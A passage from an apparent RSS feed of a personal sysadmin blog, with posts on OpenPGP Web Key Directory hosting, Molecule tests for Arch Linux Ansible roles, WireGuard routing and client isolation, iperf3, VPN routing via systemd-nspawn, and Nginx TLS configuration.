can be empty) in your <code>openpgpkey</code> directory. This looks for me as follows:</p>
<pre><code>touch /srv/www/shibumi.dev/public/static/.well-known/openpgpkey/policy
</code></pre><p>You can check your setup via using this website:</p>
<p><a href="https://metacode.biz/openpgp/web-key-directory">https://metacode.biz/openpgp/web-key-directory</a></p>
<p>This website may report other constraints:</p>
<ul>
<li>It reports if it can&rsquo;t access your key file</li>
<li>It reports if the key format is invalid</li>
<li>It reports if you have no policy file</li>
<li>It reports if you don&rsquo;t set the application type: <code>application/octet-stream</code>.</li>
<li>It reports wrong CORS headers (CORS: Cross-Origin Resource Sharing)</li>
</ul>
<p>The last point is easy to achieve if you use Nginx or Apache. In Apache you can use the following snippet:</p>
<div class="highlight"><pre class="chroma"><code class="language-apache" data-lang="apache"><span class="nt">&lt;Directory</span> <span class="s">&#34;/.well-known/openpgpkey&#34;</span><span class="nt">&gt;</span>
   <span class="nt">&lt;IfModule</span> <span class="s">mod_mime.c</span><span class="nt">&gt;</span>
      <span class="nb">ForceType</span> application/octet-stream
      <span class="nb">Header</span> always set Access-Control-Allow-Origin <span class="s2">&#34;*&#34;</span>
   <span class="nt">&lt;/IfModule&gt;</span>
<span class="nt">&lt;/Directory&gt;</span>
</code></pre></div><p>In Nginx use this one:</p>
<div class="highlight"><pre class="chroma"><code class="language-nginx" data-lang="nginx"><span class="k">location</span> <span class="s">^~</span> <span class="s">/.well-known/openpgpkey</span> <span class="p">{</span>
   <span class="kn">default_type</span> <span class="s">application/octet-stream</span><span class="p">;</span>
   <span class="kn">add_header</span> <span class="s">Access-Control-Allow-Origin</span> <span class="s">*</span> <span class="s">always</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Caddy v2 has no <code>always</code> parameter for headers yet. So you can just use the following snippet:</p>
<pre><code>header /.well-known/openpgpkey/* {
	Content-Type application/octet-stream
	Access-Control-Allow-Origin *
}
</code></pre>]]></content></item><item><title>A new domain: shibumi.dev</title><link>https://shibumi.dev/posts/new-domain/</link><pubDate>Sun, 09 Feb 2020 18:44:37 +0100</pubDate><guid>https://shibumi.dev/posts/new-domain/</guid><description>Hello everybody, I&amp;rsquo;ve just moved my blog to a domain. The new domain is called https://shibumi.dev/. Why a new domain? Well, I think this domain suits me better. It reflects my nickname on platforms like https://github.com/, IRC, and various others. Also, all dev domains have HSTS enabled on default for even more security and I&amp;rsquo;ve switched my domain registrar from Hetzner to https://inwx.de (Finally, DNSSEC yeah). Because some websites still link to nullday.</description><content type="html"><![CDATA[<p>Hello everybody,
I&rsquo;ve just moved my blog to a domain. The new domain is called
<a href="https://shibumi.dev/">https://shibumi.dev/</a>.  Why a new domain? Well, I think
this domain suits me better. It reflects my nickname on platforms like
<a href="https://github.com/">https://github.com/</a>, IRC, and various others. Also, all
dev domains have <code>HSTS</code> enabled on default for even more security and I&rsquo;ve
switched my domain registrar from Hetzner to
<a href="https://inwx.de">https://inwx.de</a> (Finally, <code>DNSSEC</code> yeah). Because some
websites still link to nullday.de, I have created a redirect to this website.
Although I am not sure how long I will keep this redirect (at least for a
year).</p>
]]></content></item><item><title>Tests for the Arch Linux infrastructure</title><link>https://shibumi.dev/posts/tests-for-the-arch-linux-infrastructure/</link><pubDate>Wed, 05 Feb 2020 21:57:15 +0100</pubDate><guid>https://shibumi.dev/posts/tests-for-the-arch-linux-infrastructure/</guid><description>The Arch Linux DevOps team uses a combination of Ansible and Terraform to manage their hosts. If you want to have a look on their infrastructure repository, you can do so via this link: https://git.archlinux.org/infrastructure.git/tree/
The combination of Ansible and Terraform works quite well for Arch Linux, the only subject we are missing is proper testing. I want to present a small proof of concept on how we could do tests in the future.</description><content type="html"><![CDATA[<p>The Arch Linux DevOps team uses a combination of Ansible and Terraform to
manage their hosts. If you want to have a look on their infrastructure
repository, you can do so via this link:
<a href="https://git.archlinux.org/infrastructure.git/tree/">https://git.archlinux.org/infrastructure.git/tree/</a></p>
<p>The combination of Ansible and Terraform works quite well for Arch Linux, the
only subject we are missing is proper testing. I want to present a small proof
of concept on how we could do tests in the future. My approach uses
<a href="https://github.com/ansible-community/molecule">molecule</a> for testing.
Molecule utilizes <a href="https://vagrant.io">Vagrant</a> and <a href="https://docker.io">Docker</a>
for running the Ansible Playbooks.</p>
<p>Arch Linux provides images for both of them, since quite a while now. These
projects are called <a href="https://github.com/archlinux/arch-boxes">Arch-Boxes</a> and
<a href="https://github.com/archlinux/archlinux-docker">Archlinux-Docker</a>. Therefore it
makes sense to reuse them infrastructure tests.</p>
<p>The actual tests are written in Python with support of the library
<a href="https://testinfra.readthedocs.io/en/latest/">testinfra</a>.</p>
<p>First of all we need to install the dependencies. You can find most of our
needed tools in our repositories:</p>
<ul>
<li>ansible</li>
<li>python-pip</li>
<li>python</li>
<li>flake8</li>
<li>ansible-lint</li>
<li>docker</li>
<li>vagrant</li>
</ul>
<p>What we are missing right now is molecule. We can install molecule with the
vagrant dependencies via <code>pip install molecule[vagrant] --user</code>. Pip will
install all needed packages to our $HOME.</p>
<p>So let us pick a first role we want to test:</p>
<p><code>infrastructure/roles/sshd</code>:</p>
<pre><code>❯ ls -la
drwxr-xr-x - chris 15 Dec  2019 handlers
drwxr-xr-x - chris 15 Dec  2019 tasks
drwxr-xr-x - chris 15 Dec  2019 templates
</code></pre><p>We can initialize a molecule test scenario on an already existing Ansible role
via <code>molecule init scenario --role-name sshd --driver-name vagrant</code>.
The command is going to create a <code>molecule</code> directory for us. The created directory will have this structure:</p>
<pre><code>❯ tree molecule 
molecule
└── default
   ├── INSTALL.rst
   ├── molecule.yml
   ├── playbook.yml
   ├── prepare.yml
   └── tests
      ├── __pycache__
      │  ├── test_default.cpython-38-pytest-5.3.5.pyc
      │  └── test_default.cpython-38.pyc
      └── test_default.py
</code></pre><p>The interesting files we will have a look at are <code>molecule.yml</code>, <code>prepare.yml</code>
and <code>test_default.py</code>.  In <code>molecule.yml</code> we configure basic molecule behavior.
In <code>prepare.yml</code> we can do first preparations with Ansible (we need to do this,
because Arch Linux is slightly different to distributions the molecule team
normally uses). <code>test_default.py</code> stores our tests as testinfra functions.</p>
<p>The <code>molecule.yml</code> shouldn&rsquo;t be so different for Arch Linux to the one that is usually generated by molecule, but let me highlight the changes:</p>
<p><code>infrastructure/roles/sshd/molecule/default/molecule.yml</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml">---<span class="w">
</span><span class="w"></span><span class="k">dependency</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>galaxy<span class="w">
</span><span class="w"></span><span class="k">driver</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="c"># We use Vagrant here, because we have other roles that need kernel modules etc</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>vagrant<span class="w">
</span><span class="w">  </span><span class="k">provider</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>virtualbox<span class="w">
</span><span class="w"></span><span class="k">lint</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>yamllint<span class="w">
</span><span class="w"></span><span class="k">platforms</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="c"># Here we specify our official archlinux/archlinux image</span><span class="w">
</span><span class="w">  </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>instance<span class="w">
</span><span class="w">    </span><span class="k">box</span><span class="p">:</span><span class="w"> </span>archlinux/archlinux<span class="w">
</span><span class="w"></span><span class="k">provisioner</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>ansible<span class="w">
</span><span class="w">  </span><span class="k">lint</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>ansible-lint<span class="w">
</span><span class="w">  </span><span class="c"># This option is important. The Ansible infrastructure roles use root on default.</span><span class="w">
</span><span class="w">  </span><span class="c"># So we need to gain privilege via sudo and become root for running all roles.</span><span class="w">
</span><span class="w">  </span><span class="k">connection_options</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">ansible_become</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w"></span><span class="k">verifier</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>testinfra<span class="w">
</span><span class="w">  </span><span class="k">lint</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">name</span><span class="p">:</span><span class="w"> </span>flake8<span class="w">
</span></code></pre></div><p><code>prepare.yml</code> includes some magic, regarding mirror setup, installing python
and a fresh restart.  We need this mirror setup tasks, because we are just
enabling all mirrors in our Arch Linux Vagrant box right now. This leads to
slow mirrors. I am going to
<a href="https://github.com/archlinux/arch-boxes/issues/81">fix</a> this in a new
Arch-Boxes release. For now I just set static mirrors from which I know that
they are fast for my location.  In the second <code>prepare.yml</code> task we need to
install python for Ansible.  Consider that I use <code>pacman -Syu</code> here, because I
<strong>want</strong> a full system upgrade, everything else will lead us into trouble when
playing around with kernel modules (Arch Linux provides still no nice way to
use kernel modules when you&rsquo;ve installed a new kernel). Due to the full system
upgrade, we need to reboot for making sure that we boot into the new kernel.</p>
<p><code>infrastructure/roles/sshd/molecule/default/prepare.yml</code></p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml">---<span class="w">
</span><span class="w"></span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Prepare<span class="w">
</span><span class="w">  </span><span class="k">hosts</span><span class="p">:</span><span class="w"> </span>all<span class="w">
</span><span class="w">  </span><span class="k">gather_facts</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="w">  </span><span class="k">tasks</span><span class="p">:</span><span class="w">
</span><span class="w">    </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Setup<span class="w"> </span>fast<span class="w"> </span>mirror<span class="w">
</span><span class="w">      </span><span class="k">raw</span><span class="p">:</span><span class="w"> </span>echo<span class="w"> </span>-e<span class="w"> </span><span class="s2">&#34;Server = https://mirror.metalgamer.eu/archlinux/\$repo/os/\$arch\nServer = https://mirror.metalgamer.eu/archlinux/\$repo/os/\$arch\nhttps://ftp.spline.inf.fu-berlin.de/mirrors/archlinux/\$repo/os/\$arch&#34;</span><span class="w"> </span>&gt;<span class="w"> </span>/etc/pacman.d/mirrorlist<span class="w">
</span><span class="w">      </span><span class="k">become</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w">    </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Install<span class="w"> </span>python<span class="w"> </span>for<span class="w"> </span>Ansible<span class="w">
</span><span class="w">      </span><span class="k">raw</span><span class="p">:</span><span class="w"> </span>test<span class="w"> </span>-e<span class="w"> </span>/usr/bin/python<span class="w"> </span>||<span class="w"> </span>(pacman<span class="w"> </span>-Syu<span class="w"> </span>--noconfirm<span class="w"> </span>python)<span class="w">
</span><span class="w">      </span><span class="k">become</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w">      </span><span class="k">changed_when</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="w">    </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Reboot<span class="w"> </span>for<span class="w"> </span>kernel<span class="w"> </span>updates<span class="w">
</span><span class="w">      </span><span class="k">reboot</span><span class="p">:</span><span class="w">
</span></code></pre></div><p>The last important file is <code>test_default.py</code>. <code>test_default.py</code> stores our unit
tests for the Ansible roles. Right now I am just checking for an installed
<code>openssh</code> package and a running and enabled <code>sshd</code> daemon. The usage of
testinfra should be self-explanatory, however I didn&rsquo;t make experience with
more complex tasks like comparing templates yet. I can imagine that this will
become very tedious for us. The future will show if the usage of testinfra
suits our demands. If not we either use a different library or we need to stay
with Ansible and YAML linting + tests on clean VMs or Docker containers. Both
of them would be already far better than the current situation with no tests at
all.</p>
<p><code>infrastructure/roles/sshd/molecule/default/tests/test_default.py</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">os</span>

<span class="kn">import</span> <span class="nn">testinfra.utils.ansible_runner</span>

<span class="n">testinfra_hosts</span> <span class="o">=</span> <span class="n">testinfra</span><span class="o">.</span><span class="n">utils</span><span class="o">.</span><span class="n">ansible_runner</span><span class="o">.</span><span class="n">AnsibleRunner</span><span class="p">(</span>
    <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">&#39;MOLECULE_INVENTORY_FILE&#39;</span><span class="p">]</span>
<span class="p">)</span><span class="o">.</span><span class="n">get_hosts</span><span class="p">(</span><span class="s1">&#39;all&#39;</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">test_openssh_is_installed</span><span class="p">(</span><span class="n">host</span><span class="p">):</span>
    <span class="n">openssh</span> <span class="o">=</span> <span class="n">host</span><span class="o">.</span><span class="n">package</span><span class="p">(</span><span class="s2">&#34;openssh&#34;</span><span class="p">)</span>
    <span class="k">assert</span> <span class="n">openssh</span><span class="o">.</span><span class="n">is_installed</span>


<span class="k">def</span> <span class="nf">test_openssh_is_running_and_enabled</span><span class="p">(</span><span class="n">host</span><span class="p">):</span>
    <span class="n">openssh</span> <span class="o">=</span> <span class="n">host</span><span class="o">.</span><span class="n">service</span><span class="p">(</span><span class="s2">&#34;sshd&#34;</span><span class="p">)</span>
    <span class="k">assert</span> <span class="n">openssh</span><span class="o">.</span><span class="n">is_running</span>
    <span class="k">assert</span> <span class="n">openssh</span><span class="o">.</span><span class="n">is_enabled</span>
</code></pre></div><p>For running our tests we can trigger <code>molecule test</code> from inside of our sshd
role directory. I haven&rsquo;t played around with <code>molecule converge</code> yet, but I
guess this is the command you would use for local Ansible development.
<code>molecule test</code> will trigger a clean environment on every test (destroying the
VM snapshot etc). This is pretty cost intensive and takes time.</p>
<p>If you are interested in this work, you can follow my branch on github:</p>
<p><a href="https://github.com/shibumi/infrastructure/tree/shibumi/molecule-tests">https://github.com/shibumi/infrastructure/tree/shibumi/molecule-tests</a></p>
]]></content></item><item><title>Disable routing for Wireguard</title><link>https://shibumi.dev/posts/disable-routing-for-wireguard/</link><pubDate>Tue, 04 Feb 2020 17:18:40 +0100</pubDate><guid>https://shibumi.dev/posts/disable-routing-for-wireguard/</guid><description>Think about the following scenario. You have a client at home and you have a server. The server permits ssh connections only from the wireguard network (eg. 10.0.0.0/24). You have wireguard configured and running on your client, but you don&amp;rsquo;t want to route all traffic through wireguard. You actually just want to access the server via wireguard and route all other traffic normally through your local gateway (let&amp;rsquo;s say 192.168.2.1). The solution is disabling the routing for the wireguard client.</description><content type="html"><![CDATA[<p>Think about the following scenario. You have a client at home and you have a
server.  The server permits ssh connections only from the wireguard network
(eg. 10.0.0.0/24).  You have wireguard configured and running on your client,
but you don&rsquo;t want to route all traffic through wireguard.  You actually just
want to access the server via wireguard and route all other traffic normally
through your local gateway (let&rsquo;s say 192.168.2.1). The solution is disabling
the routing for the wireguard client.  And this is how it works:</p>
<p>Normally the wg-quick command will create iptable rules for routing all of your
traffic through your new wireguard gateway (your server running wireguard). You
can disallow this routing via setting <code>Table = off</code> inside of your wg
configuration. For example: <code>/etc/wireguard/germany.conf</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[Interface]</span>
<span class="na">Address</span> <span class="o">=</span> <span class="s">10.0.0.3/24</span>
<span class="na">PrivateKey</span> <span class="o">=</span> <span class="s">&lt;clients private key&gt;</span>
<span class="na">Table</span> <span class="o">=</span> <span class="s">off</span>

<span class="k">[Peer]</span>
<span class="na">PublicKey</span> <span class="o">=</span> <span class="s">&lt;servers public key&gt;</span>
<span class="na">AllowedIPs</span> <span class="o">=</span> <span class="s">0.0.0.0/0</span>
<span class="na">Endpoint</span> <span class="o">=</span> <span class="s">&lt;your server&gt;:51820</span>
<span class="na">PersistentKeepalive</span> <span class="o">=</span> <span class="s">25</span>
</code></pre></div><p>This will disable all routing on the client for wireguard and you should be
able to find your server on for example 10.0.0.1 and connect to the internet
via your normal gateway.</p>
<p>Two of my readers have mentioned that you could also just set <code>AllowedIPs = 10.0.0.0/24</code> instead of setting <code>Table = off</code> in the wireguard configuration.</p>
]]></content></item><item><title>Bandwidth tests with iperf3</title><link>https://shibumi.dev/posts/bandwidth-tests-with-iperf3/</link><pubDate>Mon, 03 Feb 2020 20:29:24 +0100</pubDate><guid>https://shibumi.dev/posts/bandwidth-tests-with-iperf3/</guid><description>If you ever come to the need of a simple bandwidth test for your server or client, you can setup a bandwidth test via iperf3.
For starting an iperf3 server, just use iperf3 -s:
❯ iperf3 -s ----------------------------------------------------------- Server listening on 5201 ----------------------------------------------------------- Accepted connection from 139.174.228.245, port 33133 [ 5] local 78.46.124.83 port 5201 connected to 139.174.228.245 port 21516 [ ID] Interval Transfer Bitrate Retr Cwnd [ 5] 0.00-1.00 sec 12.</description><content type="html"><![CDATA[<p>If you ever come to the need of a simple bandwidth test for your server or client, you can setup a bandwidth test via iperf3.</p>
<p>For starting an iperf3 server, just use <code>iperf3 -s</code>:</p>
<pre><code>❯ iperf3 -s
-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
Accepted connection from 139.174.228.245, port 33133
[  5] local 78.46.124.83 port 5201 connected to 139.174.228.245 port 21516
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.1 MBytes   101 Mbits/sec  354    567 KBytes
[  5]   1.00-2.00   sec  10.0 MBytes  83.9 Mbits/sec  209    993 KBytes
[  5]   2.00-3.00   sec  8.75 MBytes  73.4 Mbits/sec   58    913 KBytes
[  5]   3.00-4.00   sec  7.50 MBytes  62.9 Mbits/sec  156   1.18 MBytes
[  5]   4.00-5.00   sec  11.2 MBytes  94.4 Mbits/sec  144    781 KBytes
[  5]   5.00-6.00   sec  7.50 MBytes  62.8 Mbits/sec   72    987 KBytes
[  5]   6.00-7.00   sec  7.50 MBytes  63.0 Mbits/sec   50    583 KBytes
[  5]   7.00-8.00   sec  3.75 MBytes  31.5 Mbits/sec    0    662 KBytes
[  5]   8.00-9.00   sec  3.75 MBytes  31.5 Mbits/sec    5    351 KBytes
[  5]   9.00-10.00  sec  6.25 MBytes  52.4 Mbits/sec   49    885 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.08  sec  78.3 MBytes  65.2 Mbits/sec  1097             sender
-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
^Ciperf3: interrupt - the server has terminated
</code></pre><p>Now you can test your client against your server via <code>iperf3 -R -c &lt;hostname&gt;</code>,
where <code>-R</code> means reverse mode (the server sends data to your client). If you
want to test the opposite way, just use <code>iperf3 -c &lt;hostname&gt;</code> or <code>iperf3 --bidir -c &lt;hostname&gt;</code> for a bidirectional connection:</p>
<pre><code>❯ iperf3 -R -c kurisu
Connecting to host kurisu, port 5201
Reverse mode, remote host kurisu is sending
[  5] local 192.168.0.103 port 55182 connected to 78.46.124.83 port 5201
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec  8.59 MBytes  72.0 Mbits/sec
[  5]   1.00-2.00   sec  11.0 MBytes  92.1 Mbits/sec
[  5]   2.00-3.00   sec  8.23 MBytes  69.0 Mbits/sec
[  5]   3.00-4.00   sec  8.23 MBytes  69.1 Mbits/sec
[  5]   4.00-5.00   sec  10.1 MBytes  84.5 Mbits/sec
[  5]   5.00-6.00   sec  7.65 MBytes  64.2 Mbits/sec
[  5]   6.00-7.00   sec  7.01 MBytes  58.8 Mbits/sec
[  5]   7.00-8.00   sec  4.60 MBytes  38.6 Mbits/sec
[  5]   8.00-9.00   sec  4.18 MBytes  35.1 Mbits/sec
[  5]   9.00-10.00  sec  5.96 MBytes  50.0 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.08  sec  78.3 MBytes  65.2 Mbits/sec  1097             sender
[  5]   0.00-10.00  sec  75.5 MBytes  63.3 Mbits/sec                  receiver

iperf Done.
</code></pre>]]></content></item><item><title>Isolated clients with Wireguard</title><link>https://shibumi.dev/posts/isolated-clients-with-wireguard/</link><pubDate>Sun, 02 Feb 2020 15:03:12 +0100</pubDate><guid>https://shibumi.dev/posts/isolated-clients-with-wireguard/</guid><description>The Wireguard VPN doesn&amp;rsquo;t isolate clients on default. If you want to enable client isolation, you can do so via the following iptables rules:
iptables -I FORWARD -i wg0 -o wg0 -j REJECT --reject-with icmp-adm-prohibited ip6tables -I FORWARD -i wg0 -o wg0 -j REJECT --reject-with icmp6-admin-prohibited If you want relax the rules for certain clients you can do as follows (where 10.10.10.3 refers to the client and 10.10.10.0/24 to the Wireguard VPN network):</description><content type="html"><![CDATA[<p>The Wireguard VPN doesn&rsquo;t isolate clients on default. If you want to enable client isolation, you can do so via the following iptables rules:</p>
<pre><code>iptables -I FORWARD -i wg0 -o wg0 -j REJECT --reject-with icmp-adm-prohibited
ip6tables -I FORWARD -i wg0 -o wg0 -j REJECT --reject-with icmp6-admin-prohibited
</code></pre><p>If you want relax the rules for certain clients you can do as follows (where 10.10.10.3 refers to the client and 10.10.10.0/24 to the Wireguard VPN network):</p>
<pre><code>iptables -I FORWARD -i wg0 -s 10.10.10.3/32 -d 10.10.10.0/24 -j ACCEPT
</code></pre>]]></content></item><item><title>Routing applications through a VPN</title><link>https://shibumi.dev/posts/routing-applications-through-a-vpn/</link><pubDate>Mon, 27 Jan 2020 22:06:59 +0100</pubDate><guid>https://shibumi.dev/posts/routing-applications-through-a-vpn/</guid><description>You may know this problem: You are using a laptop for work and for private stuff and you don&amp;rsquo;t want that your private traffic gets leaked when you activate your company/university VPN.
I solved this problem via using systemd-nspawn containers for routing certain applications (like webbrowsers) through a specific VPN. First you need a systemd-nspawn container. On Arch Linux you can achieve this via using one of the following steps:</description><content type="html"><![CDATA[<p>You may know this problem: You are using a laptop for work and for private stuff and you don&rsquo;t want that
your private traffic gets leaked when you activate your company/university VPN.</p>
<p>I solved this problem via using systemd-nspawn containers for routing certain applications (like webbrowsers) through a specific VPN. First you need a systemd-nspawn container. On Arch Linux you can achieve this via using one of the following steps:</p>
<p><strong>For an Arch Linux container named archlinux</strong></p>
<pre><code># pacstrap -c -d /var/lib/machines/archlinux base &lt;your favourite VPN application&gt;
</code></pre><p><strong>For a Debian container named buster</strong></p>
<pre><code># debootstrap --include dbus,&lt;your favourite VPN application&gt; buster /var/lib/machines/buster
</code></pre><p><strong>For an Ubuntu container named bionic</strong></p>
<pre><code># debootstrap --include dbus,&lt;your favourite VPN application&gt; bionic /var/lib/machines/bionic http://archive.ubuntu.com/ubuntu/
</code></pre><p>When done, create a systemd service override via <code>systemctl edit systemd-nspawn@&lt;container name&gt;.service</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[Service]</span>
<span class="na">ExecStart</span><span class="o">=</span>
<span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/bin/systemd-nspawn --quiet --keep-unit --boot --link-journal=try-guest --settings=override --machine=%I --capability=CAP_NET_ADMIN --network-veth --bind-ro=/tmp/.X11-unix:/tmp/.X11-unix --setenv=&#34;DISPLAY=:0&#34;</span>
</code></pre></div><p>How does this differ to the usual systemd-nspawn setup? The default line is the following;</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/bin/systemd-nspawn --quiet --keep-unit --boot --link-journal=try-guest --network-veth -U --settings=override --machine=%i</span>
</code></pre></div><p>The new parameters are: <code>--capability=CAP_NET_ADMIN</code> for giving the container the permission to do various network-related operations (Note: This setup is not intended to be secure. It&rsquo;s just for routing traffic for certain apps through a VPN). <code>--bind-ro=/tmp/.X11-unix:/tmp/.X11-unix</code> for binding the X11 socket from the container to the X11 socket from the host. This way we are able to start X11 applications inside the container and see them on the host. <code>-setenv=&quot;DISPLAY=:0&quot;</code> sets the necessary display options for X11 inside of the container. In the end you should be able to start the container <code>machinectl start &lt;containername&gt;</code>, login via <code>machinectl login &lt;containername&gt;</code> and start your VPN + your favourite X application. If you don&rsquo;t need a graphical application you can get rid of the X11 socket binding in the systemd service override. Regarding VPN configuration: Just configure the VPN as normal, just inside of the container. If you are not able to login you might want to edit the <code>/etc/securetty</code> file in the container and add pseudo terminals like <code>pts/0</code> to it. You can do this via using <code>machinectl shell &lt;containername&gt;</code> this will give directly a shell instead of logging you into a container via pseudo terminal.</p>
]]></content></item><item><title>How I moved from Nginx to Caddy</title><link>https://shibumi.dev/posts/how-i-moved-from-nginx-to-caddy/</link><pubDate>Sat, 18 Jan 2020 12:57:34 +0100</pubDate><guid>https://shibumi.dev/posts/how-i-moved-from-nginx-to-caddy/</guid><description>Nginx has been my webserver of choice for several years now. But I had always some issues with nginx that bothered me for quite a while:
Weak defaults (no TLS on default, weak ciphers, no OSCP stapling on default, &amp;hellip;) The configuration is very verbose (this doesn&amp;rsquo;t need to be something bad) New technologies like (QUIC or zstd compression need ages until their are available in downstream) Dealing with Let&amp;rsquo;s Encrypt / certificates has always been an error-prone process (I never got that working for a longer period of time without issues).</description><content type="html"><![CDATA[<p>Nginx has been my webserver of choice for several years now. But I had always
some issues with nginx that bothered me for quite a while:</p>
<ul>
<li>Weak defaults (no TLS on default, weak ciphers, no OSCP stapling on default, &hellip;)</li>
<li>The configuration is very verbose (this doesn&rsquo;t need to be something bad)</li>
<li>New technologies like (QUIC or zstd compression need ages until their are available in downstream)</li>
<li>Dealing with Let&rsquo;s Encrypt / certificates has always been an error-prone process (I never got that working for a longer period of time without issues).</li>
</ul>
<p>Let me show you how complex an Nginx configuration can get for something as simple as serving two static websites with sane TLS configuration. If we have a look on the <strong>tls.conf</strong>, there are many things I would expect from a webserver to be default in the year 2020. First there are the <code>ssl_protocols</code>, second there are the <code>ssl_ciphers</code> and <code>ssl_ecdh_curve</code>, third there is <code>ssl_stapling</code>. I expect all of these to be enabled on default and neither Nginx nor Apache do this with standard settings.</p>
<p><strong>/etc/nginx/tls.conf:</strong></p>
<div class="highlight"><pre class="chroma"><code class="language-nginx" data-lang="nginx"><span class="k">ssl_protocols</span>  <span class="s">TLSv1.2</span> <span class="s">TLSv1.3</span><span class="p">;</span>
<span class="k">ssl_certificate</span>      <span class="s">cert.pem</span><span class="p">;</span>
<span class="k">ssl_certificate_key</span>  <span class="s">key.pem</span><span class="p">;</span>
<span class="k">ssl_session_cache</span>    <span class="s">shared:SSL:1m</span><span class="p">;</span>
<span class="k">ssl_session_timeout</span>  <span class="mi">5m</span><span class="p">;</span>
<span class="k">ssl_ciphers</span> <span class="s">ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384</span><span class="p">;</span>
<span class="k">ssl_ecdh_curve</span> <span class="s">secp384r1</span><span class="p">;</span>
<span class="k">ssl_session_tickets</span> <span class="no">off</span><span class="p">;</span>
<span class="k">ssl_prefer_server_ciphers</span>  <span class="no">off</span><span class="p">;</span>
<span class="k">ssl_early_data</span> <span class="no">on</span><span class="p">;</span>
<span class="k">proxy_set_header</span> <span class="s">Early-Data</span> <span class="nv">$ssl_early_data</span><span class="p">;</span>
<span class="k">ssl_dhparam</span> <span class="s">/etc/nginx/dhparam.pem</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">Strict-Transport-Security</span> <span class="s">&#34;max-age=31536000</span><span class="p">;</span> <span class="k">includeSubDomains</span><span class="p">;</span> <span class="k">preload&#34;</span> <span class="s">always</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">Public-Key-Pins</span> <span class="s">&#39;pin-sha256=&#34;sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis=&#34;</span><span class="p">;</span> <span class="k">pin-sha256=&#34;YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=&#34;</span><span class="p">;</span> <span class="k">pin-sha256=&#34;C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=&#34;</span><span class="p">;</span> <span class="k">max-age=2629746</span><span class="p">;</span><span class="k">&#39;</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">X-Frame-Options</span> <span class="s">&#34;SAMEORIGIN&#34;</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">X-Content-Type-Options</span> <span class="s">&#34;nosniff&#34;</span><span class="p">;</span>
<span class="k">add_header</span> <span class="s">X-XSS-Protection</span> <span class="s">&#34;1</span><span class="p">;</span> <span class="k">mode=block&#34;</span><span class="p">;</span>
